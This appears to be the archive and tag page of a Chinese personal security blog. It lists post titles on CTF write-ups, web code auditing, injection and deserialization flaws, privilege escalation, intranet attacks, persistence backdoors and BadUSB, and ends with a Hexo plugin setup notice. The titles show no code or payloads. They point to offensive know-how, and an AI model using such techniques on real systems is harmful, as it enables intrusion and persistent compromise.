• 01/12内网渗透之Linux及Windows隐藏篇
• 01/10权限维持之alisa后门
• 01/10权限维持之LD_PRELOAD动态链接库后门

2021

• 12/29badusb制作上线cs
• 12/17javaweb代码审计(整数溢出,硬编码密码，不安全的随机数生成器)
• 12/14javaweb代码审计学习(SSTI漏洞)
• 12/13javaweb代码审计(反序列化漏洞)
• 12/12javaweb代码审计学习(SpEL注入)
• 12/11log4j远程代码执行漏洞分析
• 12/05javaweb代码审计(XXE漏洞)
• 12/05javaweb代码审计学习(命令执行)
• 11/30javaweb代码审计学习(目录穿越&URL跳转)
• 11/29javaweb代码审计学习(文件上传漏洞)
• 11/17机器学习入门:神经网络和机器学习简介
• 11/15极致cms v1.9.5文件上传漏洞
• 11/10javaweb代码审计学习(SSRF)
• 11/09open_basedir方法总结
• 11/06javaweb代码审计学习(xss)
• 11/05php几道随机数题小总结
• 11/05强网杯拟态easy filter解析
• 11/05vscode远程调试php底层代码
• 11/02文件包含漏洞小总结
• 11/01javaweb代码审计学习(sql注入)
• 10/26无参数rce新解法(2021慕测web应用个人赛norce)
• 10/23Android安全之环境搭建及基础知识
• 10/19TP6.0.X反序列化链漏洞分析
• 10/18TP6任意文件写漏洞分析
• 10/10TP5.1.X反序列化漏洞分析
• 10/08Android权限模型
• 10/07TP5.0.X反序列化漏洞分析
• 09/26TP5文件包含漏洞分析(5.0.0-5.0.18,5.1.0-5.1.10)
• 09/21内网渗透之非约束委派攻击&约束委派攻击
• 09/17渗透测试之提权篇三(Windows提权)
• 09/15laravel RCE漏洞(CVE-2021-3129)利用
• 09/06渗透测试之提权篇二(Linux提权)
• 09/05python内置模块的导入及覆盖知识
• 09/02TP5RCE代码执行漏洞分析(5.0.0<=ThinkPHP5<=5.0.23,5.1.0<=ThinkPHP<=5.1.30
• 08/31php反射利用总结
• 08/31php内置类的利用
• 08/29PHP反序列化小技巧之Fast Destruct
• 08/09Java代理学习
• 08/03pickle序列化与反序列化
• 07/28Java IO/NIO读写文件
• 07/26Java类加载机制和反射机制
• 07/24TP5RCE代码执行漏洞分析(5.0.7-5.0.22,5.1.0-5.1.30)
• 07/24TP5写WebShell(5.0.0-5.0.10)
• 07/11内网渗透之端口转发、映射、代理
• 07/09内网渗透之LDAP协议学习
• 07/01内网渗透之LM、NTLM认证学习及攻击
• 06/30TP5SQL注入漏洞分析(5.0.10)
• 06/28内网渗透之kerberos协议学习及攻击方法总结
• 06/27XMLDecoder反序列化漏洞
• 06/26TP5SQL注入漏洞分析TP5全版本
• 06/25TP5SQL注入漏洞分析(5.1.6-5.1.7)
• 06/25TP5SQL注入漏洞分析(5.0.13-5.0.15,5.1.0-5.1.5)
• 06/18未授权访问漏洞归纳
• 06/18arp欺骗与攻击
• 06/18udf提权学习
• 05/162021CISCNweb总结
• 04/24弱类型比较小笔记
• 04/23代码执行小总结
• 04/20nodejs利用小总结
• 04/19redis攻防利用面总结
• 04/17文件读取漏洞常见读取路径(NU1L的书)
• 04/13文件上传反序列化getshell-[强网杯 2019]Upload
• 04/09读取变量getflag-[BJDCTF2020]EzPHP
• 04/08sql绕过过滤速查
• 04/072021红明谷misc部分复现
• 04/04proc目录在ctf中的应用
• 04/01内网渗透-信息收集篇
• 03/26Nep2021个人赛总结&wp(学习笔记)
• 02/28sql注入速查笔记
• 02/27XSS的payload和绕过总结
• 02/23python库Pillow的常见用法

2020

• 12/22preg_match绕过方法总结
• 12/21$_GET中的下划线绕过(小笔记)
• 12/19无字母数字构造shell小总结
• 12/12利用phar拓展反序列化攻击面例题
• 12/08pickle远程代码执行+jwt+逻辑漏洞[CISCN2019 华北赛区 Day1 Web2]ikun
• 11/17unicode等价替换
• 11/16浅析SSRF漏洞
• 11/14balckhat议题的应用(python+nignx=pythonignx)
• 11/10THINKPHP-poc-collection
• 11/09redis的基本操作笔记
• 11/09开源Web应用扫描软件使用笔记
• 11/08无参数构造payload读取文件(含PHP数组的知识)
• 11/06sql之python脚本注入
• 10/30escapeshellarg/escapeshellcmd造成参数注入
• 10/29SQL注入之HANDLER查表
• 10/29WEB-INF目录下信息泄露
• 10/29python多线程审计代码可利用变量
• 10/26Caculator题的exp
• 10/23渗透测试之提权篇一(Linux及Windows提权相关概念)
• 10/20刷题记录：[SUCTF 2019]EasySQL
• 10/20N1CTF_websignin(sql注入&逻辑)
• 10/18.htaccess上传结合lua脚本执行命令
• 10/14变量覆盖漏洞
• 10/13SQL语句之增删改查及用户权限
• 10/13零宽度字符隐写
• 10/12.htaccess的漏洞利用总结
• 10/10Private-Key Encryption(1)
• 10/10Perfectly Secret Encryption
• 10/10Hash函数的相关知识
• 10/10CRC冗余码相关知识
• 09/26CRC32碰撞恢复png(含png块的知识)
• 09/10攻防世界-Reverse-it(xxd、tr、rev命令)
• 09/06破解zip密码命令
• 08/26攻防世界-stegnao-二维码原理及rar伪加密
• 08/212020全国大学生信息安全大赛-初赛部分writeup
• 08/19宽字节注入+curl读取文件+Django框架漏洞的组合拳
• 08/19SSTI模板注入
• 08/19__wakeup()的绕过和正则绕过
• 08/19二次注入在实战的运用
• 08/18php反序列化漏洞及upload_progress_sessions
• 08/16Hash长度拓展攻击
• 08/15内网渗透之Linux及Windows后门篇
• 08/15[转载]CSP总结及CTF实例分析
• 08/14堆叠注入、预定义sql语句的知识及例题
• 08/14md5碰撞脚本及shtml在BDJCTF的例题
• 08/14jwt在网鼎杯的运用
• 08/13phpmyAdmin文件包含漏洞在2018-HCTF的例题
• 08/132020-网鼎杯-青龙组-Web
• 08/12动态调用函数以及nmap用法在网鼎杯的例题
• 08/12取反异或绕过
• 08/11[转载]sql注入绕过大集合
• 08/08JWT的利用
• 08/07命令执行小总结
• 08/06SVN和HG源码泄露
• 08/06.git源码泄露
• 08/05VIM编辑器异常退出导致的源码泄露
• 08/05Jarvis injeect(反引号注入)
• 08/05XXE注入
• 07/29搭建wordpress环境(docker)测试plugin漏洞
• 07/23metasploit之信息收集学习
• 07/22[转载]渗透基础-常用Windows命令大全
• 07/19信息收集工具/网站整理
• 07/13metasploit魔鬼训练营之初识metasploit
• 07/01PHP代码审计学习(一)PHP配置分析
• 06/11文件上传漏洞知识点整理
• 06/10MD5-collision
• 04/27PHP伪协议小总结
• 04/24http各头部字段的含义（转载）
• 04/16利用ms17-010漏洞进行攻击
• 04/12MySQL的基础操作（1）
• 04/06First Blog

ctf PHP反序列化 sql jwt 2021CISCN 文件上传 uncide欺骗 无列名注入 php反射类利用 2021红明谷 输入法取证 盲水印隐写 哈夫曼编码 流量分析 Android md5 shtml 2020CISCN png结构 CRC32 Crypto Java安全 intro 权限提升 Docker CVE Hash php_upload_progress_session hash长度拓展攻击 红蓝对抗 MySQL PHP代码审计 PHP 2021Nep 命令执行 PHP原生类 云函数 JAVA_WEB ThinkPHP 原型链污染 nodejs 源码泄露 SSTI 漏洞分析 渗透测试 代码审计 JAJA XML 漏洞 免杀 机器学习 XSS XXE 硬件安全 社工 编码漏洞 nginx常见文件位置 .htaccess利用 HTTP协议 内网渗透 横向移动 漏洞利用 metasploit 信息收集 CTF PHP伪协议 php pickle 逻辑漏洞 2019CISCN python 多线程 misc图像处理 Nginx LFI redis攻防 提权 C 代码执行 渗透 权限维持 bugs phar反序列化 变量覆盖漏洞 扫描软件 弱类型比较 Django rar伪加密 二维码 文件上传漏洞 文件包含 文件读取漏洞 无参数构造payload 神经网络 红队 SSRF url取反绕过 misc_zip create_function注入 零宽度字符



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true



